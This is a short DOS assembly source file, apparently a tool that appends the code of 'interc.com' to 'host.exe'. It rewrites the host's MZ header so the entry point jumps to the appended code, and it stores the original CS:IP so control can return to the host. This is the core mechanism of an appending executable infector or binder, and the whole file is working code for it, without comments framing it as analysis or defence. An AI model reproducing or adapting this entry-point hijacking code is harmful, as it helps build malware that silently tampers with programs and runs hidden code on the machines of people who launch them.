.model small
.code
org 100h
start:
;------------- Interceptor -------------
	mov ax, 3d00h
	mov dx, offset _iname
	int 21h
	mov bx, ax

	mov ah, 3fh
	mov dx, offset buffer
	mov cx, 10000
	int 21h

	mov _isize, ax

	mov ah, 3eh
	int 21h
;------------- Interceptor -------------

;------------- Host --------------------
	mov ax, 3d02h
	mov dx, offset _hname
	int 21h
	mov bx, ax
	mov handle, ax

	mov ah, 3fh
	mov dx, offset header
	mov cx, 24
	int 21h
;------------- Host --------------------

;------------- Header ------------------
	mov ax, word ptr header + 22		; Old rCS1
	mov word ptr buffer + 5, ax			; Save
	mov ax, word ptr header + 20		; Old rIP1
	mov word ptr buffer + 3, ax			; Save

	mov ax, word ptr header + 4			; AX <= pagecnt
	dec ax
	shl	ax, 9
	add ax, word ptr header + 2			; AX += partpg

    mov dx, ax							; /  Size of 
    mov bx, word ptr header + 8			; |  Loadable
    shl bx, 4							; |  Part
    sub dx, bx							; \ ( DX: Our NEW rCS:[rIP] )

    mov bx,	dx	
	shr bx, 4							; BX = rCS2
	mov word ptr buffer + 9, bx
	mov word ptr header + 22, bx
	shl bx, 4
	sub dx, bx							; DX = rIP2
	mov word ptr buffer + 7, dx
	mov word ptr header + 20, dx

	add ax, _isize
	mov bx, ax
	shr bx, 9
	inc bx								; BX=new pgcnt
	mov word ptr header + 4, bx

	dec bx
	shl bx, 9
	sub ax, bx							; AX = new partpg
	mov word ptr header + 2, ax	                       
;------------- HEader ------------------

;------------- Host --------------------
	mov ax, 4200h
	mov bx, handle
	xor cx, cx
	xor dx, dx
	int 21h

	mov ah, 40h
	mov cx, 24
	mov dx, offset header
	int 21h

	mov ax, 4202h
	xor cx, cx
	xor dx, dx
	int 21h

	mov ah, 40h
	mov cx, _isize
    mov dx, offset buffer
    int 21h

    mov ah, 3eh
    int 21h
;------------- Host --------------------

	mov ah, 4ch
	int 21h

_hname		db 'host.exe',0
_iname		db 'interc.com',0
handle		dw ?
header		db 24 dup (1)
_isize		dw ?
rCS2		dw ?
rIP2		dw ?
buffer		db 10000 dup (?)
end start